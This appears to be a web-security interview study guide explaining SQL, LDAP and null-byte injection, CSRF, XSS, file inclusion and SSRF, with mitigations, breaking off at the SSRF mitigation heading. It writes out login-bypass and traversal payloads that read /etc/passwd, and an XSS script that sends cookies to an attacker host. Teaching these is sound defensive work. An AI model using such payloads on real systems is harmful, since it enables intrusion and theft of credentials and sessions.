You are on page 1of 53

1) What is SQL Injection & How it works?

Structured Query Language (SQL) is a language designed to manipulate and manage data in
a database. SQL injection (SQLi) is a type of cybersecurity attack that targets the databases,
using specifically crafted SQL statements to trick the systems into doing unexpected and
undesired things.
How SQL Injection occurs?
SQL injection is a major concern when developing a Web application. It occurs when the
application accepts a malicious user input and then uses it as a part of SQL statement to query
a backend database.
SQL injection attacks occur when a web application does not validate values received from a
web form, cookie, input parameter, etc., before passing them to SQL queries that will be
executed on a database server.

1|Page
Where can we Inject SQL Injection attacks?
 Sign up forms
 Contact forms
 Site searches
 Login forms
 Support requests
 Feedback fields
 Shopping carts
Impact of SQL Injection
A successful attack can bypass authentication and authorization to gain full control of the
database, steal sensitive data, change user’s passwords, modifying or corrupting data,
deleting data, running arbitrary code, or gaining root access to the system itself.
How attackers exploit SQL Injection?
An attacker can inject SQL control characters and command keywords (e.g., single quote (‘),
double quote (“), equal (=), comment (- -), etc.) to change the query structure. Using these
control characters with common SQL commands (e.g., SELECT, FROM, DELETE, etc.) enables
access or retrieval of data elements from a backend database server.
This form of SQL injection occurs when user input is not filtered for escape characters and is
then passed into an SQL statement. This results in the potential manipulation of the
statements performed on the database by the end-user of the application.
Example 1:
The following line of code illustrates this vulnerability:

SELECT * FROM users WHERE name = '" + userName + "' ;

This SQL code is designed to pull up the records of the specified username from its table of
users.
For example, setting the "userName" variable as:

' or 1=1-- -
' OR '1'='1

or using comments to even block the rest of the query (there are three types of SQL
comments). All three lines have a space at the end:

2|Page
' OR '1'='1' --
' OR '1'='1' {
' OR '1'='1' /*

renders one of the following SQL statements by the parent language:

SELECT * FROM users WHERE name = '' OR '1'='1';


SELECT * FROM users WHERE name = '' OR '1'='1' -- ';

Example 2:
the input is provided by the user.
Query= "SELECT * FROM users WHERE username = ‘ " +request.getParameter("input")+ " ' "
;
Below is the statement that this code builds:
SELECT * FROM users WHERE username = ‘input’
The most common SQL injection is SQL manipulation where the attacker attempts to modify
an existing SQL query statement, and insert exploited statement into the database.
SELECT * FROM Users WHERE loginName = ‘$user ‘ - - AND loginPassword = ‘ $password ‘
What if user enters:
$user = ‘ OR ‘1’ = ‘1
$password = ‘ OR ‘1’= ‘1
Since 1=1 is always true, the query will succeed and the attacker bypass authentication.
Example 3:

SQL injection usually occurs when you ask a user for input, like their username/userid, and
instead of a name/id, the user gives you an SQL statement that you will unknowingly run
on your database.

Look at the following example which creates a SELECT statement by adding a variable
(txtUserId) to a select string. The variable is fetched from user input (getRequestString):

txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

3|Page
The rest of this chapter describes the potential dangers of using user input in SQL statements.

SQL Injection Based on 1=1 is Always True

Look at the example above again. The original purpose of the code was to create an SQL
statement to select a user, with a given user id.

If there is nothing to prevent a user from entering "wrong" input, the user can enter some
"smart" input like this:

UserId:

Then, the SQL statement will look like this:

SELECT * FROM Users WHERE UserId = 105 OR 1=1;

The SQL above is valid and will return ALL rows from the "Users" table, since OR 1=1 is
always TRUE.

Does the example above look dangerous? What if the "Users" table contains names and
passwords?

The SQL statement above is much the same as this:

SELECT UserId, Name, Password FROM Users WHERE UserId = 105 or 1=1;

A hacker might get access to all the user names and passwords in a database, by simply
inserting 105 OR 1=1 into the input field.

SQL Injection Based on ""="" is Always True

Here is an example of a user login on a web site:

Username:

Password:

Example
uName = getRequestString("username");
uPass = getRequestString("userpassword");

sql = 'SELECT * FROM Users WHERE Name ="' + uName + '" AND Pass ="' + uPass + '"'

4|Page
Result
SELECT * FROM Users WHERE Name ="John Doe" AND Pass ="myPass"

A hacker might get access to user names and passwords in a database by simply inserting "
OR ""=" into the user name or password text box:

User Name:

Password:

The code at the server will create a valid SQL statement like this:

Result
SELECT * FROM Users WHERE Name ="" or ""="" AND Pass ="" or ""=""

The SQL above is valid and will return all rows from the "Users" table, since OR ""="" is
always TRUE.

Mitigation of SQL Injection


Prepared statements with parameterized queries. Use of prepared statements with
parameterized queries is a strong control to mitigate an attack. Instead of writing dynamic
queries—which fails to differentiate between application code and data—prepared
statements force developers to use static SQL query and then pass in the external input as a
parameter to query. This approach ensures the SQL interpreter always differentiates
between code and data.
Input validation. A common source of SQL injection is maliciously crafted external input. As
such, it’s always a good practice to only accept approved input—an approach known as input
validation. To protect against it, there are two variants of input validation: blacklist
validation and whitelist validation.
Blacklist validation tests the external input against a set of known malicious inputs. An
application compiles a list of all malicious inputs, and then verifies the external input against
the compiled list. Therefore, it’s easy for an attacker to bypass blacklist validation since they
can come up with multiple variants of malicious input that may not be part of the complied
blacklist.
Whitelisting is a much better approach to mitigate the risk of SQL injection. Whitelist
validation tests an external input against a set of known, approved input. With whitelist input
validation, the application knows exactly what’s desired and rejects other input values that
fail a test against the known, approved input.

5|Page
Stored procedures. Stored procedures are the SQL statements defined and stored in the
database itself and then called from the application. Developers are usually only required to
build SQL statements with parameters that are automatically parameterized. However, it’s
possible for a developer to generate dynamic SQL queries inside stored procedures.
Implement stored procedures safely by avoiding dynamic SQL generation inside.
Limit database permissions and privileges
 Set the capabilities of the database user to the bare minimum required.
 This will limit what an attacker can do if they manage to gain access.
For example, accounts that only require read access are only granted read access to the table
they need to access. This ensures that if an application is compromised, an attacker won’t
have the rights to the database through the compromised application.
Don’t leave sensitive data in plaintext

 Encrypt private/confidential data being stored in the database.


 This also provides another level of protection just in case an attacker successfully
exfiltrates sensitive data.
Avoid displaying database errors directly to the user
 Attackers can use these error messages to gain information about the database.
Use a Web Application Firewall (WAF) for web applications that access databases
 This provides protection to web-facing applications.
 It can help identify SQL injection attempts.
 Based on the setup, it can also help prevent SQL injection attempts from reaching the
application (and, therefore, the database).

Types of SQL Injection


The following are the types of SQL injection attacks:
Union-Based SQL Injection
It is the most popular type of SQL injection. This type of attack uses the UNION statement,
which is the integration of two select statements, to obtain data from the database.
Error-Based SQL Injection
An error-based SQL injection is the simplest type; but, the only difficulty with this method is
that it runs only with MS-SQL Server. In this attack, we cause an application to show an error
to extract the database. Normally, you ask a question to the database, and it responds with
an error including the data you asked for.
Blind SQL Injection

6|Page
This is a type of SQL injection where we don’t have a clue as to whether the web application
is vulnerable to injection attack or not.
The blind SQL injection is the hardest type. In this attack, no error messages are received
from the database; hence, we extract the data by asking questions to the database. The blind
SQL injection is further divided into two kinds:
1. Boolean-based SQL injection
2. Time-based SQL injection
The above techniques can be used to obtain the data in the database by either asking a
question or inducing a time delay.
Boolean-based (content-based) Blind SQLi
Sometimes there is no visible error message on the page when a SQL query fails, making it
difficult for an attacker to get information from the vulnerable application. However, there
is still a way to extract information.
When a SQL query fails, sometimes some parts of the web page disappear or change, or the
entire website can fail to load. These indications allow attackers to determine whether the
input parameter is vulnerable and whether it allows extraction of data.
Attackers can test for this by inserting a condition into a SQL query:
https://example.com/index.php?id=1+AND+1=1
If the page loads as usual, it might indicate that it is vulnerable to a SQL Injection. To be sure,
an attacker typically tries to provoke a false result using something like this:
https://example.com/index.php?id=1+AND+1=2
Since the condition is false, if no result is returned or the page does not work as usual
(missing text or a white page is displayed, for example), it might indicate that the page is
vulnerable to a SQL injection.
Here is an example of how to extract data in this way:
https://example.com/index.php?id=1+AND+IF(version()+LIKE+'5%',true,false)
With this request, the page should load as usual if the database version is 5.X. But, it will
behave differently (display an empty page, for example) if the version is different, indicating
whether it is vulnerable to a SQL injection.
Time-based Blind SQLi
Time-based SQL Injection is an inferential SQL Injection technique that relies on sending an
SQL query to the database which forces the database to wait for a specified amount of time

7|Page
(in seconds) before responding. The response time will indicate to the attacker whether the
result of the query is TRUE or FALSE.
Depending on the result, an HTTP response will be returned with a delay, or returned
immediately. This allows an attacker to infer if the payload used returned true or false, even
though no data from the database is returned.
Out-of-Band Injection
This attack is bit more complex and may be used by an attacker when they cannot achieve
their goal in a single, direct query-response attack. Typically, an attacker will craft SQL
statements which, when presented to the database, will trigger the database system to create
a connection to an external server the attacker controls. In this fashion, the attacker can
harvest data or potentially control behavior of the database.
Second Order SQL Injection
A Second Order Injection is a type of Out-of-Band Injection attack. In this case, the attacker
will provide an SQL injection that will get stored and executed by a separate behavior of the
database system. When the secondary system behavior occurs (it could be something like a
time-based job or something triggered by other typical admin or user use of the database)
and the attacker’s SQL injection is executed, that’s when the “reach out” to a system the
attacker controls happens.
Second Order SQL Injection Example
To demonstrate the vulnerability,I prepared a vulnerable user login, signup and password
change functionality. Lets say a user registers, then logins and changes password. Its very
common functionality among all dynamic web applications. Firstly , the users are required
to either signup or signin. I signin with username “haider” and password “asdasd”.

signed in

8|Page
Second Order SQL Injection

After successfully logging it, it establishes that the username “haider” authenticates
properly. I created a new user with username as “haider’ –” and password “abc”. Note that,
the username value “haider’ –” is actually the sql injection payload, its not escaped or
truncated, gets saved in the database as it is, working is explained below.

Second Order SQL Injection

So basically so far we have two usernames registered. “haider” and “haider’ –” using
different passwords. After registering the account, I logged in using the username “haider’
–“.

9|Page
Second Order SQL Injection

As the page offers password changed functionality, I changed the password from “abc” to
“123”. Note that the username is “haider’ –” so lets construct the query for password
change for this username.

 UPDATE users
 SET password='123'
 WHERE username='haider'--' and password='abc'
Now as the username in WHERE clause is “haider’ –“, Not that After — the query is
discarded as comments, as — is used to start comments in SQL . The query ends up like:-
 UPDATE users
 SET password='123'
 WHERE username='haider'

The Query results in updating the password for the user “haider”, instead of “haider –‘ hence
successfully performing second order sql injection. Second Order SQL injection works in
other scenarios as well where data from database is meant to retrieved, hopefully it explains
the concept.

2) What is the difference between Parameterized SQL query & Dynamic SQL query?

Dynamic SQL Query creates an SQL query with the user input all together. A dynamic query
directly uses user’s input into the query. It may or may not have implemented input escaping
before using it in the SQL query.
A normal user authentication query should have been like this in a Dynamic SQL Query:

10 | P a g e
SELECT username, password FROM users where username=”codergeek” AND
password=”mysecretpass” LIMIT 0, 1;

With this SQL query built and then executed, it would have worked flawlessly. But an
authentication query with SQL injection could have been like this:

SELECT username, password FROM users where username=”codergeek” AND


password=”anything” or 1=1 —” LIMIT 0, 1;

This SQL query when executed would authenticate the user because the password field
evaluates to TRUE because of user input containing” or 1=1 --
User input is used to build dynamic SQL query, hence it becomes a part of the logic of SQL
query, leading to SQL injection vulnerability. Due to this, using dynamic queries is not a good
development strategy

SQL Parameterized Query comes to rescue here because it forces the user to implement
the logic of SQL query first and then inserting user input into it. This forces the SQL query to
be built before entering any user input in it.
Another advantage of using SQL parameterized query is that it forces the data type of user
input for a particular field in SQL query.
For example, assume a SQL query expects a user to enter a number and then SQL is used to
fetch a result depending upon that input. SQL parameterized query implementation forces
the input data to be of integer type, and only then further processing will be done. Otherwise
it will show an error or throw an exception (depending upon the server side language in use
and how error and exception handling is done).
Taking the above example into consideration again, a SQL parameterized query would be
implemented like this in Java:
SELECT username, password FROM users where username=? AND password =? LIMIT 0, 1;

ps.setString (1, user_var);

ps.setString (2, pass_var);

ps.executeQuery();

The main difference between a Dynamic Query and a SQL Parameterized Query is that in the
former, the SQL logic is built along with the user input. But in the later, SQL logic is defined
first and locked, then user input is passed as parameters along with its data type defined.

3) What is Null byte injection and how to exploit?


Null Byte Injection is an active exploitation technique used to bypass sanity checking filters
in web infrastructure by adding URL-encoded null byte characters (i.e. %00, or 0x00 in hex)
to the user-supplied data. This injection process can alter the intended logic of the
application and allow malicious adversary to get unauthorized access to the system files.

11 | P a g e
Let’s take some examples to demonstrate a real-world attack:
Example#1 Perl
Perl is written on the top of ‘C’ and ‘C’ language handles the null byte as a string terminator,
while Perl itself does not. If the Perl script is processing user-supplied malicious data (i.e.
%00 embedded), it will be passed to the system call function “open FILE ( )” and furthermore
passed onto the ‘C’ engine for final processing. This allows the underlying ‘C’ processor to
reject anything beyond the “%00” null byte character. As in the case mentioned below, the
user supplied filename will be filtered against basic acceptable characters set and then
passed on to be read from the user(s) directory with a pre-defined extension (JPG). From
here an attacker can manipulate this request to execute or read a system file (e.g.
/etc/passwd) by embedding a ‘null byte %00’ with a valid extension to fool the code into
processing the request successfully.
Code Snippet:
$buffer = $ENV{'QUERY_STRING'};
$buffer =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$fn = '/home/userx/data/' .$buffer. '.jpg';
open (FILE,"<$fn");
Exploitation:
Normal Mode: http://www.example.host/read.pl?page=userphoto.jpg
Attacking Mode: http://www.example.host/read.pl?page=../../../../etc/passwd%00jpg
Example#2 PHP
The scenario mentioned above is also true with PHP technology. For instance, if a user
requests a personal data file from the server, it will be validated by appending ‘.DAT’
extension to the filename. This script itself appears to be secure by enforcing the file
extension but the request for the resource can be manipulated by appending a “%00” null
byte at the end of URL. Thus, a malicious adversary can take advantage of this vulnerability
to read almost any system file through a simple browser.
Code Snippet:
$file = $_GET['file'];
require_once("/var/www/images/$file.dat");
Exploitation:
Normal Mode: http://www.example.host/user.php?file=myprofile.dat
Attacking Mode: http://www.example.host/user.php?file=../../../etc/passwd%00

12 | P a g e
Example#3 Java
The trend of null byte injection attack is also common in Java. For instance, by examining the
details of a vulnerable function "File ( )" inside "java.io.File" which passes its argument to the
underlying 'C' API to process the user request failed to determine the actual file extension
because it treats the occurrence of first null byte as a string terminator. Let us assume the
following example in which a user is requesting access to the specific file where the extension
is enforced as “.db” by the developer for validation purposes. The same request can be
simulated by the attacker but in a different way to access the system resource by embedding
a “%00” null byte with a valid filename and extension.
Code Snippet:
String fn = request.getParameter("fn");
if (fn.endsWith(".db"))
{
File f = new File(fn);
//read the contents of “f” file

}
Exploitation:
Normal Mode: http://www.example.host/mypage.jsp?fn=report.db
Attacking Mode: http://www.example.host/mypage.jsp?fn=serverlogs.txt%00.db
4) What is LDAP Injection?
LDAP injection is a type of attack on a web application where hackers place code in a user
input field in an attempt to gain unauthorized access or information. Like Java SQL injection
or .NET SQL injection, an LDAP injection can lead to information theft, browser or session
hijacking, defacement of website and worse.
In LDAP injection uses client-supplied data in LDAP (Lightweight Directory Access Protocol)
statements without removing potentially harmful code from the request. When a web
application doesn’t adequately sanitize user-supplied input, hackers may be able to change
the construction of an LDAP statement which will run with the same permissions as the
component that executed the command. An LDAP injection can result in serious security
issues if the permissions grant the rights to query, modify or remove anything inside the
LDAP tree.
For example, attackers might use an LDAP injection to insert malicious code that allows them
to see all the usernames and passwords assigned to a system or to add their names as system

13 | P a g e
administrators. A successful LDAP injection can be a major security breach, causing
headaches, damaged reputation and financial losses for the unlucky company. In almost
every environment, the applications based on LDAP services use the directory for one of the
following purposes:
 Access control (user/password pair verification, user certificates management)
 Privilege management
 Resource management
There are 2 kinds of environments can be distinguished: AND injection environment and OR
injection environment.
1) AND LDAP Injection
In this case the application on construct the normal query to search in the LDAP directory
with the “&” operator and one or more parameters introduced by the user. For ex:
(&(parameter1=value1)(parameter2=value2))
Where the value1 and value2 are the values used to perform the search in the LDAP
directory. The attacker can inject code, maintaining a correct filter construction but using
the query to achieve his own objectives.
Ex1: Access Control Bypass
A login page has two text box fields for entering user name and password. Uname and Pwd
are the user inputs for USER and PASSWORD. To verify the existence of the user/password
pair supplied by a client, an LDAP search filter is constructed and sent to the LDAP server:
(&(USER=Uname)(PASSWORD=Pwd))
If an attacker enters a valid username, for example, sachin, and injects the appropriate
sequence following this name, the password check can be bypassed.
Making sachin)(&)) and introducing any string as the Pwd value, the following query is
constructed and sent to the server.
(& (USER=sachin)(&))(PASSWORD=Pwd)
Only the first letter is processed by the LDAP server, that is, only the query
(&(USER=sachin)(&)) is processed. This query is always true, so the attacker gains access to
the system without having a valid password.
2)OR LDAP Injection
In this case the application on construct the normal query to search in the LDAP directory
with the “|” operator and one or more parameters introduced by the user. For ex:
(|(parameter1=value1)(parameter2=value2))

14 | P a g e
Where the value1 and value2 are the values used to perform the search in the LDAP
directory. The attacker can inject code, maintaining a correct filter construction but using
the query to achieve his own objectives.
Ex1: Information Disclosure
Suppose a resources explorer allows users to know the resources available in the system
(printers, scanners, storage systems, etc…). This is a typical OR LDAP injection case, because
the query used to show the available resources is:
(|(type=Rsc1)(type=Rsc2))
Rsc1 and Rsc2 represent the different kinds of resources in the system.
If the attacker enters the Rsc1=printer)(uid=*), the following query is sent to the server:
(|(type=printer)(uid=*))(type=scanner))
The LDAP server responds with all the printer and user objects.
Mitigation for LDAP Injection
 Enforce input validation
 Escape input with encoding
 Harden directory authorization
5) What are the differences between IDOR & Missing function level access control?
Insecure Direct Object References
Apparently some websites internal account IDs, which were their parameters to recognize
different accounts. Simply change the last digit there and website took him to the
transactions page for another account.
That’s Insecure Direct Object Reference vulnerability and it allows access to unprivileged
data because the numbers were predictable. It’s not just account numbers. Actually there can
be multiple predictable patterns that will allow hackers to get into database and access
restricted data.
Major Risks: Though there are not many changes an attacker can make, there is a lot that he
can access and expose. Attackers can view credit card details, address and phone numbers
for other customers, and even previous transactions.
Missing Function Level Access Control
Admin function controls are the most important ones and should be restricted. Right? What
if non-admin users can access it too?
Most companies do not bother reassuring that only authorized accounts access privileged
information. What if someone with network level access can change privileges or URLs?

15 | P a g e
Major Risks: Once the attacker gains admin access, he/she can change a lot things including
application data and settings.
6) What is CSRF (Cross Site Request Forgery)?

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted
actions on a web application in which they're currently authenticated. CSRF attacks
specifically target state-changing requests, not theft of data, since the attacker has no way to
see the response to the forged request. With a little help of social engineering (such as
sending a link via email or chat), an attacker may trick the users of a web application into
executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF
attack can force the user to perform state changing requests like transferring funds, changing
their email address, and so forth. If the victim is an administrative account, CSRF can
compromise the entire web application.

Executing a CSRF attack


There are two main parts to executing a Cross Site Request Forgery (CSRF) attack, the first
part being to trick the victim into clicking a link or loading up a page. This is normally done
through social engineering which works exceptionally well into leveraging a victim’s
curiosity to click on malicious links. The second part is to send a crafted request in the
victim’s browser, that will send a legitimate looking request to the web application. The
request will be sent with the values that the attacker wants, including any Cookies that the
victim has associated with that website.
Impact of CSRF attack

 Transfer money from one bank account to another.


 Use a content management system to add/delete content from a website.
 Change a user’s password.
 Add items to a user’s shopping basket.
 Change the delivery address of an order.
Mitigation for CSRF attack
There are two main methods for preventing CSRF on your website. The first is to verify the
content of the “Referer” header. This is sent by the browser with each request and shows
from which page it came.
A better method is to send a unique identifier with each request, a tactic employed during
application development.
Avoid using GET methods for critical operations such as fund transfers.
Secure Anti CSRF Tokens:
Make use of Anti-CSRF Tokens, Randomize the generated tokens to make sure the tokens are
unpredictable.
16 | P a g e
Encrypt the tokens using a strong algorithm.
Use of challenge response mechanisms such as:
Re-authentication: Re-authentication is also a way to protect. Because the attacker will
never know the password, so this can also be used in place of CSRF tokens. Re-authentication
should be implemented on critical activities such as account deletion.
Use of Captcha
One-time Tokens: We can make use of One-Time Password(OTP) on cell or some OTP
generator hardware devices.
Mitigation of CSRF
Re-authentication
 Captcha
 Old Password
Unique form tokens generated on every POST, PUT and DELETE request.
 Include token in both cookie header and body
Know your libraries
 Use libraries which include built-in CSRF protection
Web forms specific

 ViewStateUserKey=Session.SessionId
 View state then acts as a form token
 Must protect SessionIds
Using Same-site cookie
7) What is Cross Site Scripting (XSS)?
Cross-site scripting occurs when an attacker is able to insert untrusted data/scripts into a
web page. The data/scripts inserted by the attackers get executed in the browser can steal
user’s data, deface websites etc.
XSS is of 3 types:
 Reflected
 Stored
 DOM-based

17 | P a g e
Stored XSS
This attack can be considered riskier and it provides more damage.
In this type of attack, the malicious code or script is being saved on the web server (for
example, in the database) and executed every time when the users will call the appropriate
functionality. This way stored XSS attack can affect many users. Also as the script is being
stored on the web server, it will affect the website for a longer time.
In order to perform stored XSS attack, the malicious script should be sent through the
vulnerable input form (For Example, comment field or review field). This way the
appropriate script will be saved in the database and executed on the page load or appropriate
function calling.
Consider, we have a page where the latest user opinion is being loaded. Therefore, in the
opinion or comment field would be typed with the script as shown below.
<script>alert(document.cookie)</script>
It will be saved in the database and executed on the page load, as the latest user opinion will
be displayed on the page. If a website is vulnerable for XSS, then on the page load popup
window with cookies will be displayed. This script is quite simple and less harmful. However,
instead of this script, a more harmful code may be entered.

18 | P a g e
For Example, cookies may be sent to the malicious user or a fake page may be displayed in
the victim’s browser.
In case of persistent attack, the code injected by the attacker will be stored in a secondary
storage device (mostly on a database). The damage caused by Persistent attack is more than
the non-persistent attack. Here we will see how to hijack other user’s session by performing
XSS.
Reflected XSS
Reflected Cross-site Scripting (XSS) occur when an attacker injects browser executable code
within a single HTTP response. The injected attack is not stored within the application itself;
it is non-persistent and only impacts users who open a maliciously crafted link or third-party
web page. The attack string is included as part of the crafted URI or HTTP parameters,
improperly processed by the application, and returned to the victim.
Commonly the attacker's code is written in the Javascript language, but other scripting
languages are also used, e.g., ActionScript and VBScript.
In case of Non-Persistent attack, it requires a user to visit the specially crafted link by the
attacker. When the user visits the link, the crafted code will get executed by the user’s
browser.

DOM based XSS


DOM Based XSS is an XSS attack wherein the attack payload is executed as a result of
modifying the DOM “environment” in the victim’s browser used by the original client side
script, so that the client side code runs in an “unexpected” manner. That is, the page itself
(the HTTP response that is) does not change, but the client side code contained in the page
executes differently due to the malicious modifications that have occurred in the DOM
environment.
This is an unusual type of XSS. DOM based XSS differs from other XSS by the fact that the XSS
happens by the execution of user-supplied input on the DOM of the browser instead of
normally sneaking into the HTML, which is the case in typical XSS vulnerabilities. In other
words, the user-supplied input is not generated as a part of the HTTP response body.
Check the following piece of code to better understand DOM-based XSS:
<html>
<head>
<title>DOM-based XSS</title>
</head>
<body>

19 | P a g e
name = location.hash.substring(1);
document.write(“Hey “+unescape(name)+”! Nice to meet you“);
</body>
</html>
The previous code receives an input from location.hash and then uses that to create a
message using the document.write() function dynamically.
If you tried the code, you can see something is displayed, which is taken from the
location.hash attribute. If the input contained something malicious, like an XSS payload, then
what would happen?
If an attacker was able to inject XSS payload into the location.hash property, the payload will
be written to the DOM through document.write(), which writes the payload into the page.
Now, we have an XSS payload in the input and that input or source reaches the DOM sink that
is the document.write function, resulting in a cross-site scripting flaw.
Imagine the following page http://www.example.com/test.html contains the below code:
<script>
document.write("<b>Current URL</b> : " + document.baseURI);
</script>
If you send an HTTP request like this
http://www.example.com/test.html#<script>alert(1)</script>,
simple enough your JavaScript code will get executed, because the page is writing whatever
you typed in the URL to the page with document.write function. If you look at the source of
the page, you won't see <script>alert(1)</script> because it's all happening in the DOM and
done by the executed JavaScript code.
After the malicious code is executed by page, you can simply exploit this DOM based cross-
site scripting vulnerability to steal the cookies of the user or change the page's behavior as
you like.
Input & Output so called Source & Sink
The logic behind the DOM XSS is that an input from the user (source) goes to an execution
point (sink). In the previous example our source was document.baseURI and the sink was
document.write.

Mitigation for DOM based XSS


Protecting against DOM-based XSS attacks is a matter of checking that your JavaScript does
not interpret URI fragments in an unsafe manner.

20 | P a g e
Use a JavaScript Framework
Frameworks like Ember, AngularJS and React use templates that makes construction of ad-
hoc HTML an explicit (and rare) action. This will push your development team towards best
practices, and make unsafe operations easier to detect.
Audit Your Code Carefully
Sometimes a full JavaScript framework is too heavyweight for your site. In that case, you will
need to regularly conduct code reviews to spot locations that reference
window.location.hash. Consider coming up with agreed coding standards on how URI
fragments are to be written and interpreted, and centralize this logic in a core library.
If you are using direct the native DOM APIs, avoid using the following properties and
functions:
innerHTML
outerHTML
document.write
Instead, set text content within tags wherever possible:
innerText
textContent
Don’t Use URI Fragments at All!
Implement a Content-Security Policy
The best way to fix DOM based cross-site scripting is to use the right output method (sink).
For example, if you want to use user input to write in a <div> element don't use innerHtml,
instead use innerText/textContent.
Impact of XSS
 Cookie theft
 Session hijacking
 Denial of service attacks and website vandalism.
 Key Loggers
 Screenshot
 Webcam

21 | P a g e
Account Hijacking

One of the most common XSS attack vectors is to hijack legitimate user accounts by stealing
their session cookies. This allows attackers to impersonate victims and access any sensitive
information or functionality on their behalf. Let's dissect how this can be achieved.

An attacker can insert the following JavaScript code in the vulnerable field:

<script>
image = new Image();
image.src='http://[Attacker IP]:8080/?'+document.cookie;
</script>

When the victim accesses the page containing the JavaScript payload, their browser will
make a HTTP request to the attacker's server. This can be seen in the following screenshot,
where a simple Netcat listener was setup in order to steal the cookies:

All an attacker needs to do is to set the stolen cookies in their browser in order to
impersonate the victim by taking over their session. Assuming a malicious user has managed
to compromise an administrative account, the attacker could gain full control of the web
application.

For the following sections let's assume the sensitive cookies are protected by the "HttpOnly"
flag. This will inform the browser that cookies cannot be accessed by client-side scripts. This

22 | P a g e
may hinder attackers from hijacking accounts using this method, however, it is not sufficient
to limit them from undertaking other means to attack the web application.

Mitigation for XSS


The effective 3 methods for mitigating the XSS:
Escaping, Validating & Sanitizing the untrusted characters.
Enabling Content-Security-policy (CSP)
8) What is LFI and RFI? How to perform LFI and RFI?

File Inclusion attack is an attack in which an attacker tricks a web server to execute certain
scripts and include a sensitive file from the server or malicious file remotely to the server
with the purpose of performing even more attacks.
File Inclusion vulnerability occurs mainly because of poor coding in the web applications. If
a user supplied input is used without proper validation, that leads to this type of
vulnerability.
Two Types:
1) Local File Inclusion
2) Remote File Inclusion

23 | P a g e
1) Local File Inclusion
LFI exploits include file functionality of web application. Using this vulnerability, an
attacker can retrieve files from the server as well as can execute files of the server. This extra
functionality makes LFI different from directory traversal/path traversal. Therefore, we can
say that path traversal is a subset of LFI (i.e. LFI vulnerability can exploit path traversal).
Local File Inclusion (LFI) is a method of including files, that are already locally present on
the server through a Modified Special HTTP request. This vulnerability can be exploited
using a Web Browser and thus can be very easy to exploit. The vulnerability occurs when a
user supplied data without sanitizing is provided to an ‘inclusion type’ (like, include(),
require() etc.) .
Exploitation:
Basic local file inclusion attack: Ex: - ../../etc/passwd or /etc/passwd in the URL
Null byte: Ex: - Add null character (%00) at the end of directory /etc/passwd%00
PHP Input: Manipulate above URL using PHP input function.
How to Test
Since LFI occurs when paths passed to "include" statements are not properly sanitized.
Consider the following example:

http://vulnerable_host/preview.php?file=example.html

This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting
the appropriate page from the array by its name, the script directly includes the input parameter, it is
possible to include arbitrary files on the server.

Typical proof-of-concept would be to load passwd file:

http://vulnerable_host/preview.php?file=../../../../etc/passwd

If the above mentioned conditions are met, an attacker would see something like the following:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash
margo:x:501:501::/home/margo:/bin/bash

24 | P a g e
...

Very often, even when such vulnerability exists, its exploitation is a bit more complex.
Consider the following piece of code:

<?php “include/”.include($_GET['filename'].“.php”); ?>

In the case, simple substitution with arbitrary filename would not work as the postfix 'php'
is appended. In order to bypass it, a technique with null-byte terminators is used. Since %00
effectively presents the end of the string, any characters after this special byte will be
ignored. Thus, the following request will also return an attacker list of basic users attributes:

http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00jpg

2)Remote File Inclusion


Remote file inclusion vulnerability exploits the dynamic file inclusion mechanism in the
web application. RFI also exploits the file inclusion functionality but by allowing the attacker
to insert/include remote file to the web server and execute it.
RFI is an abbreviation for Remote File Inclusion and is quite similar to LFI, Remote File
Inclusion (RFI) is a method of including Remote files (present on another server) on a server
through a Modified Special HTTP request. This vulnerability can be exploited using a Web
Browser and thus can be very easy to exploit. The vulnerability occurs when a user supplied
data without sanitizing is provided to an ‘inclusion type’ (like, include (), require () etc.)
PHP Remote File inclusion allows and attacker to embed his/her own PHP code inside a
vulnerable PHP script, which may lead to disastrous results such as allowing the attacker to
execute remote commands on the web server, deface parts of the web or even steal
confidential information.
Ex: - http://192.168.1.8/dvwa/vulnerabilities/fi/?page=file1.php
http:// 192.168.1.8/dvwa/vulnerabilities/fi/?page=http://google.com

How to Test
Since RFI occurs when paths passed to "include" statements are not properly sanitized.
Consider the following PHP example:

25 | P a g e
$incfile = $_REQUEST["file"];
include($incfile.".php");

In this example the path is extracted from the HTTP request and no input validation is done
(for example, by checking the input against a white list), so this snippet of code results
vulnerable to this type of attack. Consider infact the following URL:

http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_pa
ge

In this case the remote file is going to be included and any code contained in it is going to be
run by the server.
Impact of LFI & RFI
 Code execution on the web server
 Cross Site Scripting Attacks (XSS)
 Denial of service (DOS)
 Data Manipulation Attacks

Mitigation of LFI & RFI


 Strong Input Validation
 A whitelist of acceptable inputs
 Reject any inputs that does not strictly conform to specifications
 For filenames, use stringent whitelist that limits the character set to be used
 Exclude directory separators such as “/”
 Use a whitelist of allowable file extensions
 Environment hardening
 Develop and run your code in the most recent versions of PHP available
 Configure your PHP applications so that it does not use register_globals
 Set allow_url_fopen to false, which limits the ability to include files from remote
locations
 Run your code using the lowest privileges
 Use a vetted library or framework that does not allow this weakness.

9) What is SSRF (Server Side Request Forgery)?


Server Side Request Forgery (SSRF) refers to an attack where in an attacker is able to send a
crafted request from a vulnerable web application. SSRF is usually used to target internal
systems behind firewalls that are normally inaccessible to an attacker from the external

26 | P a g e
network. Additionally, it’s also possible for an attacker to leverage SSRF to access services
from the same server that is listening on the loopback interface (127.0.0.1).
Typical Exploitation of a Server Side Request Forgery Vulnerability

Since the attacker cannot send direct requests to the victim’s server, because they are
blocked by a firewall, to scan an internal network the attacker has to:

1. Send a request to the vulnerable web server that abuses the SSRF vulnerability.
2. The web server makes a request to the victim’s server which sits behind the firewall.
3. The victim’s server responds with the data.
4. If the specific SSRF vulnerability permits it, the data is sent back to the attacker.

Impacts of Server Side Request Forgery

The impact of exploiting a Server Side Request Forgery vulnerability is almost always
information disclosure, such as:

1. It is possible to scan ports and IP addresses.


2. Interact with some protocols such as Gopher, which allow you to make further
discoveries.
3. Discover the IP addresses of servers running behind a reverse proxy.
4. Remote code execution.

27 | P a g e
Mitigation of Server Side Request Forgery (SSRF)

